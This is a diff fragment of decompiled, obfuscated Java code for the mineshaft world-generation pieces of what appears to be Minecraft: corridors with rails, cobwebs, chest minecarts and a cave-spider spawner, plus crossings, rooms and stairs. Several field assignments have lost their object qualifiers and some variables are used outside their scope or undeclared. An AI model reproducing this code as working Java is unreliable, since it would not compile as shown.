+      }
+      
+      return var8;
+    }
+    
+
+    return null;
+  }
+  
+  public static class Corridor
+    extends StructureComponent
+  {
+    private boolean hasRails;
+    private boolean hasSpiders;
+    private boolean spawnerPlaced;
+    private int sectionCount;
+    private static final String __OBFID = "CL_00000445";
+    
+    public Corridor() {}
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      p_143012_1_.setBoolean("hr", hasRails);
+      p_143012_1_.setBoolean("sc", hasSpiders);
+      p_143012_1_.setBoolean("hps", spawnerPlaced);
+      p_143012_1_.setInteger("Num", sectionCount);
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      hasRails = p_143011_1_.getBoolean("hr");
+      hasSpiders = p_143011_1_.getBoolean("sc");
+      spawnerPlaced = p_143011_1_.getBoolean("hps");
+      sectionCount = p_143011_1_.getInteger("Num");
+    }
+    
+    public Corridor(int p_i45625_1_, Random p_i45625_2_, StructureBoundingBox p_i45625_3_, EnumFacing p_i45625_4_)
+    {
+      super();
+      coordBaseMode = p_i45625_4_;
+      boundingBox = p_i45625_3_;
+      hasRails = (p_i45625_2_.nextInt(3) == 0);
+      hasSpiders = ((!hasRails) && (p_i45625_2_.nextInt(23) == 0));
+      
+      if ((coordBaseMode != EnumFacing.NORTH) && (coordBaseMode != EnumFacing.SOUTH))
+      {
+        sectionCount = (p_i45625_3_.getXSize() / 5);
+      }
+      else
+      {
+        sectionCount = (p_i45625_3_.getZSize() / 5);
+      }
+    }
+    
+    public static StructureBoundingBox func_175814_a(List p_175814_0_, Random p_175814_1_, int p_175814_2_, int p_175814_3_, int p_175814_4_, EnumFacing p_175814_5_)
+    {
+      StructureBoundingBox var6 = new StructureBoundingBox(p_175814_2_, p_175814_3_, p_175814_4_, p_175814_2_, p_175814_3_ + 2, p_175814_4_);
+      
+
+      for (int var7 = p_175814_1_.nextInt(3) + 2; var7 > 0; var7--)
+      {
+        int var8 = var7 * 5;
+        
+        switch (StructureMineshaftPieces.SwitchEnumFacing.field_175894_a[p_175814_5_.ordinal()])
+        {
+        case 1: 
+          maxX = (p_175814_2_ + 2);
+          minZ = (p_175814_4_ - (var8 - 1));
+          break;
+        
+        case 2: 
+          maxX = (p_175814_2_ + 2);
+          maxZ = (p_175814_4_ + (var8 - 1));
+          break;
+        
+        case 3: 
+          minX = (p_175814_2_ - (var8 - 1));
+          maxZ = (p_175814_4_ + 2);
+          break;
+        
+        case 4: 
+          maxX = (p_175814_2_ + (var8 - 1));
+          maxZ = (p_175814_4_ + 2);
+        }
+        
+        if (StructureComponent.findIntersecting(p_175814_0_, var6) == null) {
+          break;
+        }
+      }
+      
+
+      return var7 > 0 ? var6 : null;
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      int var4 = getComponentType();
+      int var5 = p_74861_3_.nextInt(4);
+      
+      if (coordBaseMode != null)
+      {
+        switch (StructureMineshaftPieces.SwitchEnumFacing.field_175894_a[coordBaseMode.ordinal()])
+        {
+        case 1: 
+          if (var5 <= 1)
+          {
+            StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX, boundingBox.minY - 1 + p_74861_3_.nextInt(3), boundingBox.minZ - 1, coordBaseMode, var4);
+          }
+          else if (var5 == 2)
+          {
+            StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX - 1, boundingBox.minY - 1 + p_74861_3_.nextInt(3), boundingBox.minZ, EnumFacing.WEST, var4);
+          }
+          else
+          {
+            StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.maxX + 1, boundingBox.minY - 1 + p_74861_3_.nextInt(3), boundingBox.minZ, EnumFacing.EAST, var4);
+          }
+          
+          break;
+        
+        case 2: 
+          if (var5 <= 1)
+          {
+            StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX, boundingBox.minY - 1 + p_74861_3_.nextInt(3), boundingBox.maxZ + 1, coordBaseMode, var4);
+          }
+          else if (var5 == 2)
+          {
+            StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX - 1, boundingBox.minY - 1 + p_74861_3_.nextInt(3), boundingBox.maxZ - 3, EnumFacing.WEST, var4);
+          }
+          else
+          {
+            StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.maxX + 1, boundingBox.minY - 1 + p_74861_3_.nextInt(3), boundingBox.maxZ - 3, EnumFacing.EAST, var4);
+          }
+          
+          break;
+        
+        case 3: 
+          if (var5 <= 1)
+          {
+            StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX - 1, boundingBox.minY - 1 + p_74861_3_.nextInt(3), boundingBox.minZ, coordBaseMode, var4);
+          }
+          else if (var5 == 2)
+          {
+            StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX, boundingBox.minY - 1 + p_74861_3_.nextInt(3), boundingBox.minZ - 1, EnumFacing.NORTH, var4);
+          }
+          else
+          {
+            StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX, boundingBox.minY - 1 + p_74861_3_.nextInt(3), boundingBox.maxZ + 1, EnumFacing.SOUTH, var4);
+          }
+          
+          break;
+        
+        case 4: 
+          if (var5 <= 1)
+          {
+            StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.maxX + 1, boundingBox.minY - 1 + p_74861_3_.nextInt(3), boundingBox.minZ, coordBaseMode, var4);
+          }
+          else if (var5 == 2)
+          {
+            StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.maxX - 3, boundingBox.minY - 1 + p_74861_3_.nextInt(3), boundingBox.minZ - 1, EnumFacing.NORTH, var4);
+          }
+          else
+          {
+            StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.maxX - 3, boundingBox.minY - 1 + p_74861_3_.nextInt(3), boundingBox.maxZ + 1, EnumFacing.SOUTH, var4);
+          }
+          break;
+        }
+      }
+      if (var4 < 8)
+      {
+
+
+
+        if ((coordBaseMode != EnumFacing.NORTH) && (coordBaseMode != EnumFacing.SOUTH))
+        {
+          for (int var6 = boundingBox.minX + 3; var6 + 3 <= boundingBox.maxX; var6 += 5)
+          {
+            int var7 = p_74861_3_.nextInt(5);
+            
+            if (var7 == 0)
+            {
+              StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, var6, boundingBox.minY, boundingBox.minZ - 1, EnumFacing.NORTH, var4 + 1);
+            }
+            else if (var7 == 1)
+            {
+              StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, var6, boundingBox.minY, boundingBox.maxZ + 1, EnumFacing.SOUTH, var4 + 1);
+            }
+            
+          }
+          
+        } else {
+          for (int var6 = boundingBox.minZ + 3; var6 + 3 <= boundingBox.maxZ; var6 += 5)
+          {
+            int var7 = p_74861_3_.nextInt(5);
+            
+            if (var7 == 0)
+            {
+              StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX - 1, boundingBox.minY, var6, EnumFacing.WEST, var4 + 1);
+            }
+            else if (var7 == 1)
+            {
+              StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.maxX + 1, boundingBox.minY, var6, EnumFacing.EAST, var4 + 1);
+            }
+          }
+        }
+      }
+    }
+    
+    protected boolean func_180778_a(World worldIn, StructureBoundingBox p_180778_2_, Random p_180778_3_, int p_180778_4_, int p_180778_5_, int p_180778_6_, List p_180778_7_, int p_180778_8_)
+    {
+      BlockPos var9 = new BlockPos(getXWithOffset(p_180778_4_, p_180778_6_), getYWithOffset(p_180778_5_), getZWithOffset(p_180778_4_, p_180778_6_));
+      
+      if ((p_180778_2_.func_175898_b(var9)) && (worldIn.getBlockState(var9).getBlock().getMaterial() == Material.air))
+      {
+        int var10 = p_180778_3_.nextBoolean() ? 1 : 0;
+        worldIn.setBlockState(var9, Blocks.rail.getStateFromMeta(getMetadataWithOffset(Blocks.rail, var10)), 2);
+        EntityMinecartChest var11 = new EntityMinecartChest(worldIn, var9.getX() + 0.5F, var9.getY() + 0.5F, var9.getZ() + 0.5F);
+        WeightedRandomChestContent.generateChestContents(p_180778_3_, p_180778_7_, var11, p_180778_8_);
+        worldIn.spawnEntityInWorld(var11);
+        return true;
+      }
+      
+
+      return false;
+    }
+    
+
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (isLiquidInStructureBoundingBox(worldIn, p_74875_3_))
+      {
+        return false;
+      }
+      
+
+      boolean var4 = false;
+      boolean var5 = true;
+      boolean var6 = false;
+      boolean var7 = true;
+      int var8 = sectionCount * 5 - 1;
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 0, 2, 1, var8, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175805_a(worldIn, p_74875_3_, p_74875_2_, 0.8F, 0, 2, 0, 2, 2, var8, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      
+      if (hasSpiders)
+      {
+        func_175805_a(worldIn, p_74875_3_, p_74875_2_, 0.6F, 0, 0, 0, 2, 1, var8, Blocks.web.getDefaultState(), Blocks.air.getDefaultState(), false);
+      }
+      
+
+
+
+      for (int var9 = 0; var9 < sectionCount; var9++)
+      {
+        int var10 = 2 + var9 * 5;
+        func_175804_a(worldIn, p_74875_3_, 0, 0, var10, 0, 1, var10, Blocks.oak_fence.getDefaultState(), Blocks.air.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, 2, 0, var10, 2, 1, var10, Blocks.oak_fence.getDefaultState(), Blocks.air.getDefaultState(), false);
+        
+        if (p_74875_2_.nextInt(4) == 0)
+        {
+          func_175804_a(worldIn, p_74875_3_, 0, 2, var10, 0, 2, var10, Blocks.planks.getDefaultState(), Blocks.air.getDefaultState(), false);
+          func_175804_a(worldIn, p_74875_3_, 2, 2, var10, 2, 2, var10, Blocks.planks.getDefaultState(), Blocks.air.getDefaultState(), false);
+        }
+        else
+        {
+          func_175804_a(worldIn, p_74875_3_, 0, 2, var10, 2, 2, var10, Blocks.planks.getDefaultState(), Blocks.air.getDefaultState(), false);
+        }
+        
+        func_175809_a(worldIn, p_74875_3_, p_74875_2_, 0.1F, 0, 2, var10 - 1, Blocks.web.getDefaultState());
+        func_175809_a(worldIn, p_74875_3_, p_74875_2_, 0.1F, 2, 2, var10 - 1, Blocks.web.getDefaultState());
+        func_175809_a(worldIn, p_74875_3_, p_74875_2_, 0.1F, 0, 2, var10 + 1, Blocks.web.getDefaultState());
+        func_175809_a(worldIn, p_74875_3_, p_74875_2_, 0.1F, 2, 2, var10 + 1, Blocks.web.getDefaultState());
+        func_175809_a(worldIn, p_74875_3_, p_74875_2_, 0.05F, 0, 2, var10 - 2, Blocks.web.getDefaultState());
+        func_175809_a(worldIn, p_74875_3_, p_74875_2_, 0.05F, 2, 2, var10 - 2, Blocks.web.getDefaultState());
+        func_175809_a(worldIn, p_74875_3_, p_74875_2_, 0.05F, 0, 2, var10 + 2, Blocks.web.getDefaultState());
+        func_175809_a(worldIn, p_74875_3_, p_74875_2_, 0.05F, 2, 2, var10 + 2, Blocks.web.getDefaultState());
+        func_175809_a(worldIn, p_74875_3_, p_74875_2_, 0.05F, 1, 2, var10 - 1, Blocks.torch.getStateFromMeta(EnumFacing.UP.getIndex()));
+        func_175809_a(worldIn, p_74875_3_, p_74875_2_, 0.05F, 1, 2, var10 + 1, Blocks.torch.getStateFromMeta(EnumFacing.UP.getIndex()));
+        
+        if (p_74875_2_.nextInt(100) == 0)
+        {
+          func_180778_a(worldIn, p_74875_3_, p_74875_2_, 2, 0, var10 - 1, WeightedRandomChestContent.func_177629_a(StructureMineshaftPieces.field_175893_a, new WeightedRandomChestContent[] { Items.enchanted_book.getRandomEnchantedBook(p_74875_2_) }), 3 + p_74875_2_.nextInt(4));
+        }
+        
+        if (p_74875_2_.nextInt(100) == 0)
+        {
+          func_180778_a(worldIn, p_74875_3_, p_74875_2_, 0, 0, var10 + 1, WeightedRandomChestContent.func_177629_a(StructureMineshaftPieces.field_175893_a, new WeightedRandomChestContent[] { Items.enchanted_book.getRandomEnchantedBook(p_74875_2_) }), 3 + p_74875_2_.nextInt(4));
+        }
+        
+        if ((hasSpiders) && (!spawnerPlaced))
+        {
+          int var11 = getYWithOffset(0);
+          int var12 = var10 - 1 + p_74875_2_.nextInt(3);
+          int var13 = getXWithOffset(1, var12);
+          var12 = getZWithOffset(1, var12);
+          BlockPos var14 = new BlockPos(var13, var11, var12);
+          
+          if (p_74875_3_.func_175898_b(var14))
+          {
+            spawnerPlaced = true;
+            worldIn.setBlockState(var14, Blocks.mob_spawner.getDefaultState(), 2);
+            net.minecraft.tileentity.TileEntity var15 = worldIn.getTileEntity(var14);
+            
+            if ((var15 instanceof TileEntityMobSpawner))
+            {
+              ((TileEntityMobSpawner)var15).getSpawnerBaseLogic().setEntityName("CaveSpider");
+            }
+          }
+        }
+      }
+      
+      for (var9 = 0; var9 <= 2; var9++)
+      {
+        for (int var10 = 0; var10 <= var8; var10++)
+        {
+          byte var17 = -1;
+          IBlockState var18 = func_175807_a(worldIn, var9, var17, var10, p_74875_3_);
+          
+          if (var18.getBlock().getMaterial() == Material.air)
+          {
+            byte var19 = -1;
+            func_175811_a(worldIn, Blocks.planks.getDefaultState(), var9, var19, var10, p_74875_3_);
+          }
+        }
+      }
+      
+      if (hasRails)
+      {
+        for (var9 = 0; var9 <= var8; var9++)
+        {
+          IBlockState var16 = func_175807_a(worldIn, 1, -1, var9, p_74875_3_);
+          
+          if ((var16.getBlock().getMaterial() != Material.air) && (var16.getBlock().isFullBlock()))
+          {
+            func_175809_a(worldIn, p_74875_3_, p_74875_2_, 0.7F, 1, 0, var9, Blocks.rail.getStateFromMeta(getMetadataWithOffset(Blocks.rail, 0)));
+          }
+        }
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class Cross
+    extends StructureComponent
+  {
+    private EnumFacing corridorDirection;
+    private boolean isMultipleFloors;
+    private static final String __OBFID = "CL_00000446";
+    
+    public Cross() {}
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      p_143012_1_.setBoolean("tf", isMultipleFloors);
+      p_143012_1_.setInteger("D", corridorDirection.getHorizontalIndex());
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      isMultipleFloors = p_143011_1_.getBoolean("tf");
+      corridorDirection = EnumFacing.getHorizontal(p_143011_1_.getInteger("D"));
+    }
+    
+    public Cross(int p_i45624_1_, Random p_i45624_2_, StructureBoundingBox p_i45624_3_, EnumFacing p_i45624_4_)
+    {
+      super();
+      corridorDirection = p_i45624_4_;
+      boundingBox = p_i45624_3_;
+      isMultipleFloors = (p_i45624_3_.getYSize() > 3);
+    }
+    
+    public static StructureBoundingBox func_175813_a(List p_175813_0_, Random p_175813_1_, int p_175813_2_, int p_175813_3_, int p_175813_4_, EnumFacing p_175813_5_)
+    {
+      StructureBoundingBox var6 = new StructureBoundingBox(p_175813_2_, p_175813_3_, p_175813_4_, p_175813_2_, p_175813_3_ + 2, p_175813_4_);
+      
+      if (p_175813_1_.nextInt(4) == 0)
+      {
+        maxY += 4;
+      }
+      
+      switch (StructureMineshaftPieces.SwitchEnumFacing.field_175894_a[p_175813_5_.ordinal()])
+      {
+      case 1: 
+        minX = (p_175813_2_ - 1);
+        maxX = (p_175813_2_ + 3);
+        minZ = (p_175813_4_ - 4);
+        break;
+      
+      case 2: 
+        minX = (p_175813_2_ - 1);
+        maxX = (p_175813_2_ + 3);
+        maxZ = (p_175813_4_ + 4);
+        break;
+      
+      case 3: 
+        minX = (p_175813_2_ - 4);
+        minZ = (p_175813_4_ - 1);
+        maxZ = (p_175813_4_ + 3);
+        break;
+      
+      case 4: 
+        maxX = (p_175813_2_ + 4);
+        minZ = (p_175813_4_ - 1);
+        maxZ = (p_175813_4_ + 3);
+      }
+      
+      return StructureComponent.findIntersecting(p_175813_0_, var6) != null ? null : var6;
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      int var4 = getComponentType();
+      
+      switch (StructureMineshaftPieces.SwitchEnumFacing.field_175894_a[corridorDirection.ordinal()])
+      {
+      case 1: 
+        StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX + 1, boundingBox.minY, boundingBox.minZ - 1, EnumFacing.NORTH, var4);
+        StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX - 1, boundingBox.minY, boundingBox.minZ + 1, EnumFacing.WEST, var4);
+        StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.maxX + 1, boundingBox.minY, boundingBox.minZ + 1, EnumFacing.EAST, var4);
+        break;
+      
+      case 2: 
+        StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX + 1, boundingBox.minY, boundingBox.maxZ + 1, EnumFacing.SOUTH, var4);
+        StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX - 1, boundingBox.minY, boundingBox.minZ + 1, EnumFacing.WEST, var4);
+        StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.maxX + 1, boundingBox.minY, boundingBox.minZ + 1, EnumFacing.EAST, var4);
+        break;
+      
+      case 3: 
+        StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX + 1, boundingBox.minY, boundingBox.minZ - 1, EnumFacing.NORTH, var4);
+        StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX + 1, boundingBox.minY, boundingBox.maxZ + 1, EnumFacing.SOUTH, var4);
+        StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX - 1, boundingBox.minY, boundingBox.minZ + 1, EnumFacing.WEST, var4);
+        break;
+      
+      case 4: 
+        StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX + 1, boundingBox.minY, boundingBox.minZ - 1, EnumFacing.NORTH, var4);
+        StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX + 1, boundingBox.minY, boundingBox.maxZ + 1, EnumFacing.SOUTH, var4);
+        StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.maxX + 1, boundingBox.minY, boundingBox.minZ + 1, EnumFacing.EAST, var4);
+      }
+      
+      if (isMultipleFloors)
+      {
+        if (p_74861_3_.nextBoolean())
+        {
+          StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX + 1, boundingBox.minY + 3 + 1, boundingBox.minZ - 1, EnumFacing.NORTH, var4);
+        }
+        
+        if (p_74861_3_.nextBoolean())
+        {
+          StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX - 1, boundingBox.minY + 3 + 1, boundingBox.minZ + 1, EnumFacing.WEST, var4);
+        }
+        
+        if (p_74861_3_.nextBoolean())
+        {
+          StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.maxX + 1, boundingBox.minY + 3 + 1, boundingBox.minZ + 1, EnumFacing.EAST, var4);
+        }
+        
+        if (p_74861_3_.nextBoolean())
+        {
+          StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX + 1, boundingBox.minY + 3 + 1, boundingBox.maxZ + 1, EnumFacing.SOUTH, var4);
+        }
+      }
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (isLiquidInStructureBoundingBox(worldIn, p_74875_3_))
+      {
+        return false;
+      }
+      
+
+      if (isMultipleFloors)
+      {
+        func_175804_a(worldIn, p_74875_3_, boundingBox.minX + 1, boundingBox.minY, boundingBox.minZ, boundingBox.maxX - 1, boundingBox.minY + 3 - 1, boundingBox.maxZ, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, boundingBox.minX, boundingBox.minY, boundingBox.minZ + 1, boundingBox.maxX, boundingBox.minY + 3 - 1, boundingBox.maxZ - 1, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, boundingBox.minX + 1, boundingBox.maxY - 2, boundingBox.minZ, boundingBox.maxX - 1, boundingBox.maxY, boundingBox.maxZ, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, boundingBox.minX, boundingBox.maxY - 2, boundingBox.minZ + 1, boundingBox.maxX, boundingBox.maxY, boundingBox.maxZ - 1, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, boundingBox.minX + 1, boundingBox.minY + 3, boundingBox.minZ + 1, boundingBox.maxX - 1, boundingBox.minY + 3, boundingBox.maxZ - 1, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      }
+      else
+      {
+        func_175804_a(worldIn, p_74875_3_, boundingBox.minX + 1, boundingBox.minY, boundingBox.minZ, boundingBox.maxX - 1, boundingBox.maxY, boundingBox.maxZ, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, boundingBox.minX, boundingBox.minY, boundingBox.minZ + 1, boundingBox.maxX, boundingBox.maxY, boundingBox.maxZ - 1, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, boundingBox.minX + 1, boundingBox.minY, boundingBox.minZ + 1, boundingBox.minX + 1, boundingBox.maxY, boundingBox.minZ + 1, Blocks.planks.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, boundingBox.minX + 1, boundingBox.minY, boundingBox.maxZ - 1, boundingBox.minX + 1, boundingBox.maxY, boundingBox.maxZ - 1, Blocks.planks.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, boundingBox.maxX - 1, boundingBox.minY, boundingBox.minZ + 1, boundingBox.maxX - 1, boundingBox.maxY, boundingBox.minZ + 1, Blocks.planks.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, boundingBox.maxX - 1, boundingBox.minY, boundingBox.maxZ - 1, boundingBox.maxX - 1, boundingBox.maxY, boundingBox.maxZ - 1, Blocks.planks.getDefaultState(), Blocks.air.getDefaultState(), false);
+      
+      for (int var4 = boundingBox.minX; var4 <= boundingBox.maxX; var4++)
+      {
+        for (int var5 = boundingBox.minZ; var5 <= boundingBox.maxZ; var5++)
+        {
+          if (func_175807_a(worldIn, var4, boundingBox.minY - 1, var5, p_74875_3_).getBlock().getMaterial() == Material.air)
+          {
+            func_175811_a(worldIn, Blocks.planks.getDefaultState(), var4, boundingBox.minY - 1, var5, p_74875_3_);
+          }
+        }
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class Room
+    extends StructureComponent
+  {
+    private List roomsLinkedToTheRoom = Lists.newLinkedList();
+    private static final String __OBFID = "CL_00000447";
+    
+    public Room() {}
+    
+    public Room(int p_i2037_1_, Random p_i2037_2_, int p_i2037_3_, int p_i2037_4_)
+    {
+      super();
+      boundingBox = new StructureBoundingBox(p_i2037_3_, 50, p_i2037_4_, p_i2037_3_ + 7 + p_i2037_2_.nextInt(6), 54 + p_i2037_2_.nextInt(6), p_i2037_4_ + 7 + p_i2037_2_.nextInt(6));
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      int var4 = getComponentType();
+      int var6 = boundingBox.getYSize() - 3 - 1;
+      
+      if (var6 <= 0)
+      {
+        var6 = 1;
+      }
+      
+
+
+
+
+      for (int var5 = 0; var5 < boundingBox.getXSize(); var5 += 4)
+      {
+        var5 += p_74861_3_.nextInt(boundingBox.getXSize());
+        
+        if (var5 + 3 > boundingBox.getXSize()) {
+          break;
+        }
+        
+
+        StructureComponent var7 = StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX + var5, boundingBox.minY + p_74861_3_.nextInt(var6) + 1, boundingBox.minZ - 1, EnumFacing.NORTH, var4);
+        
+        if (var7 != null)
+        {
+          StructureBoundingBox var8 = var7.getBoundingBox();
+          roomsLinkedToTheRoom.add(new StructureBoundingBox(minX, minY, boundingBox.minZ, maxX, maxY, boundingBox.minZ + 1));
+        }
+      }
+      
+      for (var5 = 0; var5 < boundingBox.getXSize(); var5 += 4)
+      {
+        var5 += p_74861_3_.nextInt(boundingBox.getXSize());
+        
+        if (var5 + 3 > boundingBox.getXSize()) {
+          break;
+        }
+        
+
+        StructureComponent var7 = StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX + var5, boundingBox.minY + p_74861_3_.nextInt(var6) + 1, boundingBox.maxZ + 1, EnumFacing.SOUTH, var4);
+        
+        if (var7 != null)
+        {
+          StructureBoundingBox var8 = var7.getBoundingBox();
+          roomsLinkedToTheRoom.add(new StructureBoundingBox(minX, minY, boundingBox.maxZ - 1, maxX, maxY, boundingBox.maxZ));
+        }
+      }
+      
+      for (var5 = 0; var5 < boundingBox.getZSize(); var5 += 4)
+      {
+        var5 += p_74861_3_.nextInt(boundingBox.getZSize());
+        
+        if (var5 + 3 > boundingBox.getZSize()) {
+          break;
+        }
+        
+
+        StructureComponent var7 = StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX - 1, boundingBox.minY + p_74861_3_.nextInt(var6) + 1, boundingBox.minZ + var5, EnumFacing.WEST, var4);
+        
+        if (var7 != null)
+        {
+          StructureBoundingBox var8 = var7.getBoundingBox();
+          roomsLinkedToTheRoom.add(new StructureBoundingBox(boundingBox.minX, minY, minZ, boundingBox.minX + 1, maxY, maxZ));
+        }
+      }
+      
+      for (var5 = 0; var5 < boundingBox.getZSize(); var5 += 4)
+      {
+        var5 += p_74861_3_.nextInt(boundingBox.getZSize());
+        
+        if (var5 + 3 > boundingBox.getZSize()) {
+          break;
+        }
+        
+
+        StructureComponent var7 = StructureMineshaftPieces.func_175890_b(p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.maxX + 1, boundingBox.minY + p_74861_3_.nextInt(var6) + 1, boundingBox.minZ + var5, EnumFacing.EAST, var4);
+        
+        if (var7 != null)
+        {
+          StructureBoundingBox var8 = var7.getBoundingBox();
+          roomsLinkedToTheRoom.add(new StructureBoundingBox(boundingBox.maxX - 1, minY, minZ, boundingBox.maxX, maxY, maxZ));
+        }
+      }
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (isLiquidInStructureBoundingBox(worldIn, p_74875_3_))
+      {
+        return false;
+      }
+      
+
+      func_175804_a(worldIn, p_74875_3_, boundingBox.minX, boundingBox.minY, boundingBox.minZ, boundingBox.maxX, boundingBox.minY, boundingBox.maxZ, Blocks.dirt.getDefaultState(), Blocks.air.getDefaultState(), true);
+      func_175804_a(worldIn, p_74875_3_, boundingBox.minX, boundingBox.minY + 1, boundingBox.minZ, boundingBox.maxX, Math.min(boundingBox.minY + 3, boundingBox.maxY), boundingBox.maxZ, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      Iterator var4 = roomsLinkedToTheRoom.iterator();
+      
+      while (var4.hasNext())
+      {
+        StructureBoundingBox var5 = (StructureBoundingBox)var4.next();
+        func_175804_a(worldIn, p_74875_3_, minX, maxY - 2, minZ, maxX, maxY, maxZ, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      }
+      
+      func_180777_a(worldIn, p_74875_3_, boundingBox.minX, boundingBox.minY + 4, boundingBox.minZ, boundingBox.maxX, boundingBox.maxY, boundingBox.maxZ, Blocks.air.getDefaultState(), false);
+      return true;
+    }
+    
+
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      NBTTagList var2 = new NBTTagList();
+      Iterator var3 = roomsLinkedToTheRoom.iterator();
+      
+      while (var3.hasNext())
+      {
+        StructureBoundingBox var4 = (StructureBoundingBox)var3.next();
+        var2.appendTag(var4.func_151535_h());
+      }
+      
+      p_143012_1_.setTag("Entrances", var2);
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      NBTTagList var2 = p_143011_1_.getTagList("Entrances", 11);
+      
+      for (int var3 = 0; var3 < var2.tagCount(); var3++)
+      {
+        roomsLinkedToTheRoom.add(new StructureBoundingBox(var2.getIntArray(var3)));
+      }
+    }
+  }
+  
+  public static class Stairs extends StructureComponent
+  {
+    private static final String __OBFID = "CL_00000449";
+    
+    public Stairs() {}
+    
+    public Stairs(int p_i45623_1_, Random p_i45623_2_, StructureBoundingBox p_i45623_3_, EnumFacing p_i45623_4_)
+    {
+      super();
+      coordBaseMode = p_i45623_4_;
+      boundingBox = p_i45623_3_;
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_) {}
+    
